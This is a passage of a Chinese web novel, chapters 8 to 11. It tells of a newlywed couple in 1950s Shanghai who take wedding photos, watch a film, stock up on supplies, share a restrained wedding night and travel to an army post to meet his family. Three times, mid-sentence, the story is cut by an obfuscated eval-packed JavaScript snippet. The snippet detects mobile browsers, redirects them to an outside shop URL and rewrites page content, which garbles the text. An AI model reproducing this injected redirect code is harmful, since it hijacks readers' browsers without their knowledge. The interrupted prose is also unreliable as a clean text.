宁滟勾在耳朵上的发丝被风吹了许久,才轻声问:“她给了你什么选择?” “第一个选择,送我出国留学。” 江骄道:“第二个选择,是给我一笔启动资金,让我在沪城经商。” 宁滟双眼充满了迷茫,这和她记忆中传统、封建、严厉、恨她的母亲,完全不是一个人。 “......怎么会这样,当时明明是我妈把你连夜赶出家门。” “因为我两个都没有选择,国难当头,我说想上战场,她很生气。” 宁滟缓缓看向墓碑上的母亲照片,“没人告诉我这些事。” 江骄试探问:“你和妈后来关系不好?” 宁滟沉默,点了点头。 江骄继续试探问:“因为你误会是她无情把我赶出门?” 宁滟:“......我和她,本来关系也不好。” 江骄不再说话。 铁桶里的纸钱已经烧成灰烬,寒风裹挟走火焰的余温,先前的温度重新变回了冰凉。 宁滟拒绝江骄带她去百货商店买绿布的行程,当时只是找了个话头,再说军装的布只供军人穿,普通商店并买不到特种布匹。 途径一家照相馆,宁滟盯着看了很久,车子略过,她依然回头看了一眼,但没有开口。 她不知道怎么说。 她的确和江骄成了名正言顺的夫妻,却不是像年少时憧憬计划的那样,情到深处,水到渠成结婚。 “照相馆取照片一般得要一个星期。”江骄道:“一个星期后我们肯定已经不在沪城了,驻地军人服务社有照相馆。” 宁滟抬起双眼看着他轮廓利落的侧脸,“可以邮寄。” 江骄长睫微顿。 等去了驻地,拍再多的照片,也不是今天的日期。 宁滟重复一遍,“可以邮寄,只要有地址,照相馆可以代为邮寄。” 江骄转动一圈方向盘,车子调头往来路疾驰而去。 宁滟露出笑容。 江骄余光尽收眼底,“太久了。” 宁滟不想说“什么”,但想接这个话,又确实得说“什么”。 江骄像是又知道她在想什么,难得一笑,“太久没有人给我邮寄照片,忘了。” 宁滟笑容微顿,随即笑得更明显。 明白了他这句话的意思。 这些年,他没有和其他姑娘打过交道。 至少,没有到会写信的交道。 当初他刚上战场,给她来信,三句话不离给他寄她的照片。 甚至有一封信上千个字,一半的字都是提醒她寄照片。 生怕她忘记。 8. 第 8 章 进入照相馆,两人的服装都没有问题,但江骄出门前洗脸就已经弄乱了头发,待墓园吹了那么久的风,风里夹杂着香灰和纸钱的黑烟,脸上看不出来灰烬痕迹,头发却乱得不能上照。 宁滟问摄影师借了一把梳子,看向江骄,“我帮你把头发梳整齐。” 江骄很意外,暗自把已经下意识抬起来的手紧急收回,微微俯身让宁滟够得着。 宁滟认真整理江骄浓密黑发,近在咫尺的香味,让他感到陌生而熟悉,熟悉而陌生。 陌生是因为这不是记忆中属于宁滟的化妆品香味,熟悉是因为认出这是师长每次回驻地都会被嫂子抹一脸的雪花膏香气,听说是叫雅霜。 最后的熟悉,是不管外国品牌还是国牌,都掩盖不住宁滟自身纯净的体香。 江骄暗自控制呼吸节奏,压抑内心想要冲出来深嗅的欲望,力求表面不动声色。 等宁滟退后两步,江骄的手再次下意识抬起,想要去挽留,他才发现自己刚才有多贪恋那一分钟的亲密。 宁滟主动提出要在这一天拍照,而且是必须要在这一天拍照留念,让江骄在拍照过程里,脸上的笑格外上镜。 摄影师拍完都忍不住说,这是他职业生涯拍过笑容最好看的新郎和容貌气质最为优越的新娘。 江骄拿了喜糖分散给照相馆的同志。 因为他的大气,摄影师和小学徒们又说了一箩筐般配,早生贵子,白头偕老等等江骄爱听的祝福。 宁滟催他:“你把地址写下来。” 江骄这才想起正事,填下邮寄地址,付了钱。 宁滟重复强调:“同志,照片洗出来以后,请一定记得在照片上写下今天的日期留念。” 听到宁滟这么说,江骄的嘴角再次往上掀高。 去公墓路上的沉默,他一直想打破,却不知道如何打破,他怕张口控制不住问出不想听的答案,所以宁愿维持表面的和平。 经过拍照,他突然知道该如何和宁滟增进感情。 “前面就是电影院。” 江骄拦住往军车走的宁滟,指着以前他们俩常去的电影院之一道:“我们去看电影。” 宁滟“啊”了一声,往电影院看了看,又回过头看着他,“家里还有一堆东西等着整理,你不是说时间紧,这两天就要回驻地了?” “一场电影就两个小时。” 江骄抬步往电影院走,“你不是最喜欢看电影?” 宁滟追上江骄的脚步,对他突如其来看电影的想法感到很不解,“但是车上还有很多东西。” 江骄:“师长的车今天都归我使用。” 宁滟想的是从公墓带回来祭拜的菜,好几样都是她也爱吃并且好久没吃的菜,刚才拍完照还想着回去就热了吃。 眼看已经走到电影院门口,宁滟回头看了一眼车子停放的地方不会影响他人,没再说什么,跟着走进电影院。 江骄看着电影院的海报,久久没有动。 宁滟跟着看了一圈,看向仿佛突然失去兴趣的江骄,有点疑惑,“看哪部?” 江骄来之前是想找一部爱情至上主义作风的电影,例如当年陪宁滟看过的米高梅和卡乌德作品。 他记得,白天他们在电影院看到一个丹尼斯·摩根和安德莉·金的接吻镜头,晚上宁滟就强制压着他学习。 宁滟热爱学习,更热爱实践。 但他已经十几年没有踏进过城市电影院,没想到当下电影院放的一半是《渡江侦察记》、《南征北战》这样的国产战争电影,剩下一半则是苏联译制片。 宁滟又问了一遍看哪部。 江骄选了一张海报上有外国女同志的电影,抱着最后一点希望走进观影厅,期待会有他想要的镜头。 不是他想看。 是他想要宁滟看到这种镜头。 电影开场,宁滟看得很认真投入,江骄逐帧等待。 当看到女主角穿着婚纱结婚,宁滟突然感觉到旁边的江骄坐直身体,疑惑看了他一眼。 江骄正无比专注看着屏幕。 宁滟侧身小声道:“挺巧,电影里也有婚礼。” 江骄颔首,指着屏幕,“别错过镜头。” 宁滟重新将视线投向前方。 江骄终于等到了女主角穿着一身睡衣坐在床上的镜头,紧绷的鼻息微微松懈,余光悄然观察宁滟。 宁滟脸上的笑却在下一秒消失。 江骄没有看过这部电影,注意力重新回到电影上,脸上的笑也跟着僵住。 画面里并没有出现他想象中的事情,反而新郎要被喊去战场了。 江骄继续抱着期待等待,喜事却等成了悲事。 男主角牺牲在战场上了。 宁滟总觉得隔壁气压逐渐有点低,转头看到江骄的脸色很不好看,想了想,剧透安慰:“不用担心,虽然马尔蒂诺夫很令人遗憾,但婚姻和爱情对瓦尔瓦拉来说只是人生其中一部分,瓦尔瓦拉瓦西里耶夫娜一生更重要的绝大部分是献身教育事业。” 江骄听了周身气压更低,凉飕飕看了一眼宁滟。 宁滟已经随着瓦尔瓦拉继续走上了无私奉献桃李满天下的教育之路中。 电影观看完毕,两人状态和看电影之前完全相反。 宁滟饶有兴致,江骄没什么表情跟着她往停车的地方走。 等上了车,宁滟好奇问:“你觉得电影不好看?” 江骄发动汽车,“好看。” “我也觉得很好看。”宁滟还沉浸在剧情里,“教师其实是一份重复性很高的工作,很容易产生倦怠性,我很佩服瓦尔瓦拉几十年如一日的热情,志向最终生根发芽,桃李满天下。” 江骄听到宁滟主动说这么多话,也算是意外之喜,“你看完这部电影,产生了当老师的兴趣?” 她又不是第一次看这部电影。 宁滟笑着摇头,“我自己都活得稀里糊涂,哪还能去教别人。” 江骄不用回想剧情,脑海里对于男女主角分别抱在一起亲了又亲的画面一直牢记,但眼下不是该提的时间。 “我们去德大西餐馆吃炸猪排。” 宁滟诧异看向他:“为什么去德大,车上我们带了菜回来。” “我们今天结婚。” 江骄嘴角出现浅浅的弧度,“你不是最喜欢吃德大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374926|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸猪排?” 宁滟怔了怔,“婚礼不是说等到驻地再办?” 原本他也是这么想,但宁滟重视今天,特地去照相馆拍了照片,江骄便将今天的日子也重视起来。 “今天说我们两个人吃,到了驻地,可能会有很多战友家属过来一起热闹。” 宁滟纠结。 江骄发现她的表情,“怎么了?” “我本来打算回去把菜热了吃,我想吃葱烤鲫鱼和八宝辣酱。”宁滟为难道:“但你说的炸猪排,你不提还好,提了我也想吃。” 江骄一笑,“这有什么为难,去把三件套打包带回去,这样你就都能吃到了。” “这个主意好。”宁滟捂着已经开始饥饿的肚子,“今天是我们大喜的日子,便奢侈一顿!” 江骄很爱听这样的话。 他更爱看到宁滟重视他们结婚的态度。 受宁滟影响,他在德大买好炸猪排、沙拉、罗宋汤三件套之后,去南货店买了红纸、龙凤花烛、红枣花生桂圆莲子。 他还想搬龙凤呈祥和福禄寿禧的两盆盆景,想到盆景不好搬走,不舍放弃。 宁滟看他搬了这么多东西回到车上,深受感染,等回到家里,第一时间找出纸笔墨砚。 “你写喜字。” 江骄将菜搬到厨房,“我熬浆糊热菜。” 宁滟刚卷起袖子,准备磨墨,江骄突然又走了出来,抢先干了磨墨的活。 窗外春雀叽叽喳喳,屋内墨香四溢,阳光从钢窗玻璃反射到他如险峰的鼻梁,浓密长睫低垂遮住乌黑眼眸,这样专注帮她磨墨的江骄,让宁滟有一阵恍惚。 一切尽收江骄的余光中,他被遮住的眼眸闪过满意。 伴随着饭菜的香气,宁滟写了一张张喜字,涂上浆糊,被身高具有优势的江骄贴在窗户、统排壁橱、樟木箱、床头、甚至是卫生间的门上。 公寓因喜气变得鲜活,宁滟静静站着,看了很久。 直到江骄一一将热好的菜摆满餐桌。 江骄不喝酒,但还是把已经打开的黄酒,倒了两杯。 宁滟端起酒杯闻了闻,“要喝酒吗?” 江骄端起敬向她,“大喜的日子,喝一杯。” 宁滟端起与他碰杯,“恭喜。” 江骄将杯子低于宁滟的杯子,“同喜。” 黄酒入喉,宁滟拿起筷子想夹八宝辣酱,听到江骄突然“啧”了一声,疑惑看向他。 “忘了,不应该喝酒。” 江骄一脸真的像忘了很重要的事的表情,“我一喝酒就容易醉,等下为了安全,不能开车了。” 宁滟筷子停在半空中不动。 江骄看着表情怔愣的宁滟,不说话,等着她。 宁滟咽了咽嘴里黄酒余香,“回去还有很重要的事吗?” “事,倒没有。” “那车子别人会等着用吗?” “也没有。” 江骄道:“领导们都很理解。” 宁滟大脑反应了片刻,脸因为喝了黄酒变得通红,双眼也变得水汪汪看向江骄,“理解什么?” 江骄瞬间被反问住,哑言。 9. 第 9 章 宁滟嘴巴很涩,夹了葱烤鲫鱼吃起来。 时隔多年,被总理亲自用“小诸葛”表扬的江骄,发现自己复制了半天当初的记忆,都比不过当下宁滟一句话,就复制了当初他一向拿她没办法的许多次画面。 江骄只能夹了一块酱鸭放到宁滟碗里,再给自己倒了一杯黄酒。 刚端起来,就被宁滟制止:“一喝酒就容易醉,还要继续喝?” 江骄默默放下酒杯,拿出去筷子夹菜。 “你不是也很喜欢吃炸猪排。” 宁滟将装着辣酱油的小碟放到他面前,“趁热吃。” 对于被压制的关系,过了刚开始的默然,久远的怀念又让江骄享受其中,夹起一块炸猪排蘸了辣酱油先递给了宁滟。 宁滟摇头,“你先吃,我想先吃八宝辣酱。” 进展虽然受到阻碍,但对于二人关系来说,复制过去回忆,结果还是肉眼可见的有效。 饭毕,江骄收拾碗筷去清洗干净,出来看到宁滟在贴满喜字的公寓忙碌收拾行李,空缺已久的心逐渐被填满,就像是饥饿已久,吃了一顿七分饱的饭,身体由内而外开始回暖。 江骄看了很久,突然意识到总觉得这间公寓缺少的是什么东西。 “你的画架和工具在哪?” 刚把夏天衣服放进樟木箱里的宁滟,躬身定住,她将装满衣服的箱子合上,“我早已不再画画。” 江骄脸上的笑瞬间被惊讶覆盖,“为什么?” 宁滟随意道:“不想再讨好不想讨好的人。” 听到比预想之中要更能理解的答案,江骄皱眉思考片刻,走到五斗橱前,拨弄无线电,转移话题:“平时听什么频道?” 宁滟抬头看他一眼,“平时不听。” 又是一个不在意料之内的答案。 看电影和听音乐是宁滟画画之外的两大爱好。 过去她常常拉着他按时收听无线电,什么样的音乐她都喜欢听,百听不厌的是《白雪公主》的全部插曲,每一次她都会跟着哼唱,唱着唱着便会看着他笑,比起画画,他更喜欢看这个时候的宁滟。 久而久之,他也养成了习惯,总是在各个频道去寻找《白雪公主》插曲。 等到他学会了英文,才明白宁滟哼唱的英文是什么意思。 “Some Day My Prince Wille.” “你说什么?” 江骄听到宁滟的询问,才发现自己低喃出声,他顿了顿,转身重复:“Some Day My Prince Wille.” 宁滟愣住。 江骄轻笑,“我虽然不是王子,但没想到这首歌的歌词,有朝一日,真的会和我们有相似之处。” 从小听到大,早已耳熟于心的几句歌词在脑海里播放一遍,宁滟脸上也出现浅笑,“的确有点像。” 江骄转动按钮,希望顺水推舟找到这首歌,再水到渠成继续下去,避免冷场,将忍了一路的话放出来:“今天看电影里的舞会,想到当初我陪你练舞的时候。” “你想找这首歌?” 宁滟走过来,“别找了,当初的私营电台大部分都已经停播了,剩下的正在转变成公私合营,广播任务也都变成了宣传和政治教育,这个点只能听到宣传公债配合国家建设专题节目。” 又一个计划受阻的江骄:“......” “想听音乐的话。”宁滟回想,“节目结束,应该会放一些革命歌曲和苏联歌曲。” 江骄关掉不利于氛围的宣传公债节目。 他看向宁滟正在收拾的行李,企图从中找出当年有共同回忆的物件。 “重的东西吩咐我来拿。” “没什么重的东西。” 宁滟整理的都是衣柜里的衣服,看向江骄刚才听的无线电,“要不然,你帮这里的电器整理到这个箱子里,一起带过去。” 话落,宁滟又问:“这些,可以带吧?” “可以。”江骄先将无线电收到箱子里,再将台灯也放进去,“你想带什么都可以带,这里没有的告诉我,我再去买。” 宁滟第一反应是想到了粮食,再是日用物资。 她已经和江骄结婚,正常生活来说,不会缺吃少穿,但她没忘记,之后几年将会迎来的饥荒,届时即便是干部军属,也会出现物资粮食紧缺的情况。 现在除了粮油,其他东西购买暂时不需要票,她身上又有一部分可支配资金,正是囤一些物资的时候,就是东西有保质日期,而且距离那三年还有好几年...... “在想什么?” 江骄问:“有要买的东西?” “我是在想,要不要再去做几床棉被。” 带太多的东西去驻地,有可能过于显眼,未来棉花和棉布都是除了粮食之外,限量供应最为短缺的东西,装在嫁妆里也合乎情理,到时候真有需要的话,还可以拆掉做衣服。 江骄看着宁滟打开的柜子,除了床上的两床棉被和毛毯,柜子里还有两床棉被,将身上的信封拿出来,递给她,“你想买就买。” “我这里有钱。” 宁滟道:“我想再多买些肥皂,牙膏,雪花膏,毛巾,还想买些腊肉,风干鱼,咸肉,罐头,盐和糖听说也要凭票了,我们要不要也顺道多备一些带过去,其实我很喜欢吃沪城这边的绿豆粉丝,北方的红薯粉条我也喜欢吃,还有我最喜欢吃的点心,应该多买一些糕粉带过去,想吃了可以自己做,腐竹豆皮.......” 江骄刚开始听到肥皂雪花膏还可以理解,但随着宁滟越说越多的农副产品,连粉条都说出来了,嘴角抽搐两下,端起茶杯打断她,“粉条咸肉这些驻地服务社和外面的供销社都可以买到,比沪城的还要正宗。” 宁滟说得口干舌燥,接过江骄手里的茶杯,“好吧,那还是加急先做几床被子,再多买些棉布好了。” 江骄想要的氛围感彻底消失,仿佛也难以找回来了,“你先整理衣服,重的箱子不要挪,我下去买东西。” “我跟你一起去吧。” 宁滟小跑回卧室,拿出饼干盒小金库,“正好,我前两天已经把存折上的钱取出来了。” 江骄的拥抱、跳舞、亲吻......增进感情计划,变成了百货商场、南货店、粮油店.....疯狂大采购计划。 宁滟突如其来的采购欲望,一直买到天黑各大商店关门,一趟趟搬回公寓,搬到江骄身上酒味都被风吹得一干二净。 宁滟看着满屋子物资,对能放好几年的物资很是满意,心底危机感减少许多,看向没什么表情的江骄。 “现在国家正在大力将农村互助组往初级社的方向发展,听说今冬明春计划将要发展到九千个社,你们驻地如果已经开始试点,普通农户手里能够自由买卖的粮食会越来越少,我们有备无患。” 宁滟笑道:“再说,这些东西都放得住,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374927|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说棉布今年也有计划凭票供应,照这样发展下去,这些东西都有可能凭票才能买到,到时候就算我们用不完,也可以以物换物,不算乱花钱。” 江骄心思根本不在这上面,他看了看外面的天,再看了看完全不留她的宁滟,“我今晚可不可以住在这里?” 正处于兴奋充实状态的宁滟,笑容顿在了脸上,过了很久,缓慢点了点头,“随你。” 江骄喉结上下滚动,鼻息长舒,绷紧的肩膀随之缓缓松懈。 宁滟将垂下的发丝勾在耳朵上,实在难以忍受江骄滚烫的视线,往卫生间走去,“搬了一晚上的东西,身上出了汗,我先洗澡。” 江骄看她直接走进卫生间,在她关门之前提醒,“衣服。” 宁滟连忙走了出来,去房间拿换洗衣裳,紧张的心脏对于江骄刚才的提醒,却瞬间放松下来。 她刚才已经忘了拿衣服,但江骄记得,却提前提醒,而不是等到她洗完了自己发现,届时除了求他帮忙,别无选择。 真到了那个时候,又会是什么样的场面,宁滟稍微一想,就觉得身体发麻。 江骄还是正人君子。 被宁滟想成正人君子的江骄,却正在暗自后悔提醒。 刚才提醒完他才想起,这又是一个可以复制当年回忆增进感情的大好机会,小时候,宁滟总是会忘记拿浴巾,拿衣服,都是让他去拿。 江骄消化着后悔,拆开一块肥皂,又拆开一支牙刷和牙膏,去厨房用冷水洗漱。 宁滟洗了澡,洗了头,洗了脸,刷了牙,洗了手,实在没可洗的了,看着刚用完的浴室,将淋浴室重新冲洗一遍,不留一根发丝。再将刚洗完的肥皂拿下来搓了搓,毛巾浴巾也拿下来叠放整齐。等水蒸气都散干净了,实在没办法,才不得不打开门走出卫生间。 江骄正坐在餐桌前喝水。 宁滟:“我好了。” 江骄点了点头,指着餐桌上的饭菜,“过来吃饭。” 宁滟走过去,发现除了中午剩下来的菜,还有新煮好的荷包蛋酱油汤面,拉开椅子坐下。 江骄也跟着拿起筷子吃面。 一咬流心蛋黄便流出来的荷包蛋,配上一口酱油汤,是属于宁滟和江骄之间关于深夜的回忆。 江骄看宁滟吃得香,眼底藏着淡淡笑意,“好吃吗?” 宁滟点头,“厨艺没变。” “等去了驻地。”江骄夹起一筷子面条,“饿不着你。” 宁滟知道他又在嘲讽她买的物资,鼻尖发出一声轻哼。 心想,总有一天,会让你说出多亏她有远见的话! 江骄紧紧盯着宁滟刚刚轻哼的挺翘鼻尖,再一次肯定自己通过照相获得的制造回忆增进感情的领悟。 他几口将面吃完,专注而享受看着宁滟吃面。 宁滟开始吃得很欢快,被他这么盯着,终于想起来应该要慢点,但再慢,一碗面就这么多,一根一根吃也有吃完的时候。 江骄连宁滟的筷子都没让放下,就接过去端去厨房洗碗。 看着江骄这么急的样子,宁滟深呼吸两口气,去卫生间漱了口,先走进卧室。 江骄出来就看到宁滟已经躺进被子里,裹得严严实实,他站在门口看了一会,慢步走到床边。 宁滟闭着眼睛,听到淅淅索索的声音,像是在脱衣服。 等感到灯被关了,房间陷入黑暗,宁滟下意识将被子裹得更紧,做好准备等他上床。 10. 第10章 又是一阵淅淅索索的声音后,房间陷入安静。 宁滟心中疑惑,等了几分钟,还是没等到他上床,忍不住睁开双眼。 公寓的窗帘遮光力很强,将月光遮得严严实实,灯一关房间便是彻底的黑暗,看不清任何家具的轮廓。 宁滟感觉床上没人,伸手探向左边,触手冰凉空旷。 “江骄?” “怎么了?” 房间很快响起江骄的应声,声音不远不近,挨着床,不在床上,像是在床下。 宁滟起身,拉开床头台灯,果然看到地上铺着一床红色织锦缎棉被,昏黄微弱的台灯衬得江骄五官立体,面容俊美,躺在红色被子里,比起白天,更像新郎。 江骄偏过头看她,用眼神询问她什么事。 眼前此景,完全不是按照宁滟以为的发展,她有点懵,好半天才问:“你怎么睡地上了?” 江骄:“衣服脏。” 好像不应该是这样的对话。 也不应该是这样的问题。 宁滟抱着被子半趴在枕边,长睫颤动好几下,才反应过来,难道是她误会了? 江骄主动要求留下来住的意思,不是她想的那样? 还是说,她主动躺进被子里闭上眼睛,让他误会了她的态度? 宁滟看向地上的江骄。他脸色很自然,像是真的做好准备睡觉了,完全没有这几天同她说话,动不动就不高兴了的迹象。 那真是,她误会了? 江骄真的是,正人君子? 宁滟咬着手指,又觉得自己想的不对。 他们是合法夫妻,新婚之夜,不应该用正人君子这个词。 而且,正人君子反而才不对劲。 但他这样不动,比直接动,更能让宁滟放松。 宁滟看着他铺在地上的凉席,“地上太冷了,你再垫床被子在下面。” “算了,都收拾封箱了。” 江骄说完,咳嗽两声。 宁滟没反应,江骄又将胳膊伸出来拉了拉被子。 一股浓郁的药味四散在房间。 宁滟从被窝里坐起身,“你身上是不是有伤?” 江骄没有回答。 “刚搬了那么多东西......” “没事,换过几次药,已经差不多要愈合了。” 宁滟眉头紧皱,掀开被子下床,“不能这么睡,又不是铁打的身体,我去拿被子。” 江骄突然坐起,将地上的被子抱到床上,铺在左边,躺了进去,才看向宁滟,用眼神询问:这样总可以了? 宁滟:“......” 江骄朝着宁滟刚躺过的被子拍了拍,“只穿着睡衣,外面冷。” 因为误会过江骄一次,再看他虽然上了床,却没有顺势跟她躺一个被子,而是另外准备了一床被子,而且是她说了,要下床准备去给他搬被子,他才不得不上床来睡,让宁滟掐了继续误会他的想法。 虽然还有点不自在,但并没有之前的紧张和慌乱。 宁滟掀开被子上床,躺在被窝里,隔着两床被子,发现心底不但连刚才的不自在都消失了,反而还比之前更放松下来。 想起从小到大,他们不是没有这样睡过,甚至比隔着被子更亲密。 上学期间,每天早上,坐在汽车后座,她不是靠在他的肩膀,就是躺在他的腿上补觉。 画画累了,他帮她按摩手臂肩膀,她也常常会不知不觉靠在他的怀里睡着。 随着他的肩膀越长越宽,胸膛因为习武越来越结实,她也越来越喜欢靠在他身上寻找唯一的安全感。 “关灯。” 宁滟转头看他,发现江骄已经闭上双眼,双睫一如记忆中浓密纤长,但面部骨骼比起记忆中的稚嫩,却明显长成了成熟男性的迹象。 长睫掀起,是乌沉沉的黑眸。 江骄看着她,“我没有换洗衣服。” 宁滟怔了一下,“什么?” “别想了。”江骄重复道:“我没带换洗衣服。” 宁滟明白过来,脸颊被红晕染透,“你胡说什么,我什么时候想了。” 江骄突然翻身,欺身过来。 宁滟下意识抬起手臂挡住他近在咫尺的胸膛,瞬间紧张得结结巴巴,“你,你不是没带,没带换洗衣服?” “还说没想。” 江骄伸手捏了捏她的脸,关掉台灯,躺了回去。 宁滟摸着被他掐过的脸,看着黑暗中他躺的位置,“你问可不可以留下来住,就真的只是想在这里睡觉?” 江骄:“当然。” 宁滟磨了磨牙。 从“当然”这两个字的语气,仿佛看到当初年少混蛋的江骄。 宁滟没经大脑,脱口而出:“你别后悔。” 房间骤然陷入寂静。 宁滟无语凝噎,望着黑暗的天花板。 过了很久,听到被子翻动的声音,压迫感越来越近,宁滟尝试解释:“我只是下意识说了口头禅.......” 江骄没有回应,只是掀开了她的被子,滚烫坚硬的身体贴了上来。 宁滟翻身想躲,却被他从背后紧紧圈抱在了怀里。 江骄下巴抵在她的颈窝,舒出一口长长的叹息。 宁滟身体僵硬住。 江骄贴在宁滟耳边说话,“好累。” 宁滟莫名湿了眼眶,缓了很久,“好好睡一觉。” 江骄在宁滟耳边“嗯”了一声。 听着江骄逐渐均匀的呼吸,宁滟闭上潮湿的双睫。 等到宁滟被他的体温烘得快要睡着的时候,听到江骄又说:“这里不是我们的家。” 宁滟确定了,他今天是真的没有想法。 · 行李装车之后,宁滟和江骄并没有随车一起返回驻地。 江骄第二天便高烧不退,赶往军区医院,才知道发烧原因是在战场长期缺乏蛋白质和维生素,加上长期劳累导致身体早已处于空壳状态,坑道作战环境潮湿、蚊虫肆虐,细菌潜伏在体内,等到领证那晚他的心理压力松懈,抵抗力跟着下降,立刻出现反复高烧。 医院安排江骄住院,用了特效药。 师部领导主动给他批了一个星期的假,让他在沪城养好身体再回驻地。 江骄对回去这件事很着急,一个星期后出院,他便要求立即离沪。 一路颠簸,颇费周折,火车轮渡过江,转乘轮船,再乘坐汽车,可谓翻山越海,路途五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374928|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天终于在深夜赶到驻地。 明月高悬,繁星点缀,驻地营区笼罩在朦胧皎洁的雾中,悠长小路两旁民房高矮不一,家家户户已经熄灯沉睡,宁滟听着虫鸣水声交织,欣赏着眼前浑然天成的水墨乡村画卷。 江骄紧紧牵着宁滟的手,“怕不怕?” 宁滟摇了摇头,刚才一进营区,看到门口哨兵拿着枪的瞬间,她就已经不怕了。 江骄指着小路最高处挂着红灯笼的两排房子道:“那就是我们的新家。” 淡淡的月光下,江骄指的新家是工字形布局,挂着灯笼的前排是平房,平房往后是一处很长很宽的大院子,后排则是一排在黑夜看不出瓦片颜色的尖坡屋顶。 走近了,灯笼下面站着一高一矮身材纤瘦的两个人。 “是骄子吗?” “娘,是我!” 江骄的应声已经说明了门口的两个人是谁。 “可终于把你给等回来了!” 田桂花快步朝前跑过来,“别人都到了,你们怎么迟了这么多天?可是路上遇到什么事了?” 灯笼照在一张眉心川字纹颇重的脸上,宁滟见过很多五官不一样,但脸部状态很相同的人,皆是受地主压迫吃不饱穿不暖还要日日辛劳的佃农。 身后的小姑娘大约十岁左右,稀疏的两条麻花辫下穿着一身干净崭新的蓝布褂,正腼腆看着她,也腼腆看着江骄。 “娘,这是宁滟。” 江骄介绍后,宁滟喊了一声:“娘。” 这一声“娘”把初看到宁滟就看愣住的田桂花,又给叫愣住了。 江骄冲后面的小姑娘招了招手,“凤霞,过来,这是你嫂子。” 宁滟对小姑娘笑了笑,小姑娘立马也回了她一笑,羞答答叫了一声“嫂子”。 但并没有叫江骄。 宁滟应了一声,田桂花终于反应过来,一边盯着宁滟一边赶紧往回走,“快进屋,快进屋,饭都放在灶上热着,晚上才知道你们要回来,我赶紧去食堂打了菜,又擀了面条,就盼着你们回来。” 江骄依然牵着宁滟的手,“娘是没见过你这么好看的人。” “可不是!” 田桂花立马道:“我一看到我这儿媳妇,还以为是从月亮上走下来的神仙,这一说话,就更像神仙了,说话比那文工团唱歌的还要好听不知道多少倍!” “娘也好看。” 宁滟笑着看向凤兰,“小妹也好看。” 凤兰笑起来更腼腆了,害羞扭头跑向厨房,去帮娘,一会儿就端着冒着热气的搪瓷面盆出来。 江骄这才松开了手。 昏暗的马灯和蜡烛照亮了前排平房内的布置,部队营房统一营具,非常简易。 一张八仙桌五六个板凳靠墙摆放,墙壁隔开的是厨房。 这本是两室一厅的仿苏联内部格局,但另一边的墙并没有隔起来,空空荡荡摆着一张床。 床是由简易床架加一块床板拼接而成,上面铺着绿色军被,床底下放着麻袋和两双像是刚刷洗过晒干的一大一小打满补丁的布鞋。 “我们的新房在后面,这是娘和凤兰临时睡的床。” 江骄从柜子里拿出肥皂,递给宁滟,“要不要先去后面看一看?” 11. 第 11 章 宁滟卷起袖子洗手,“吃完饭再看吧。” “吴营长送过来的箱子都放在你们新房里了,我听他说东西不少,特地商量了,让他等天黑了再送过来。” 田桂花端着两碗手擀面条放在八仙桌上,又返回去端菜,声音从厨房里传出来,“你们回来晚了,部队专门给你们办的集体婚礼也错过了,这里的同志们给你们送了好些东西,我也不识字,让吴营长帮忙记下来了,往后这人情还得给人还回去。” 一条新毛巾递到宁滟左边,宁滟抬头看到是凤兰,“你吃饭了吗?” 凤兰摇头,“还没吃。” 宁滟将擦过的毛巾递给了江骄,“饿肚子了吧。” “没事,饿肚子有什么......” 田桂花端着两盘菜出来,明显意识到了嘴快,看了一眼宁滟,连忙又看向江骄,“我是说以前,以前饿肚子都习惯了,自从骄子联系上我们,每月都给我们寄钱,我们就吃饱穿暖,再没饿过肚子了,姑娘来,坐下快吃。” 宁滟往厨房走,“娘,我来帮你。” “你坐坐坐。”田桂花拦住宁滟,“你坐下吃,没菜了。” 江骄拉开椅子,“你坐,我去端。” “都坐,都坐。”田桂花也拦住江骄,“赶路最累人,我刚来那几天也累的睡了好半天才缓过来。” 江骄进去又端了两碗面条出来,田桂花端着一碗汤,放到桌子上后,悄悄看着宁滟的神情。 宁滟发现了,拿起筷子,“上车饺子下车面,娘特地擀的面条吧,看着真有食欲。” 田桂花明显松了一口气,“多吃,多吃。” 凤兰突然凑近宁滟小声道:“嫂子,这是小炒。” 宁滟看着桌子上的木须肉、熘肝尖、肉末烧豆腐,“小炒,是什么意思?” 凤兰咽了咽口水,“小炒比甲菜还要好,但娘没买过甲菜,我只吃过娘买的乙菜。” “你这孩子胡说什么。” 田桂兰看了看江骄,“谁说你没吃过,我们刚来驻地那天,你在食堂吃的不就是甲菜。” “那不是娘买的。” 凤兰小声说:“娘只舍得给嫂子买小炒。” 宁滟摸了摸聪慧的凤兰的头,夹了一筷子肉片放到田桂花的面条上。 田桂花连忙摆手,把肉又夹了起来,“哎,我不喜欢吃肉,你吃,你们吃。” “娘,这是宁滟第一次给你夹菜。” 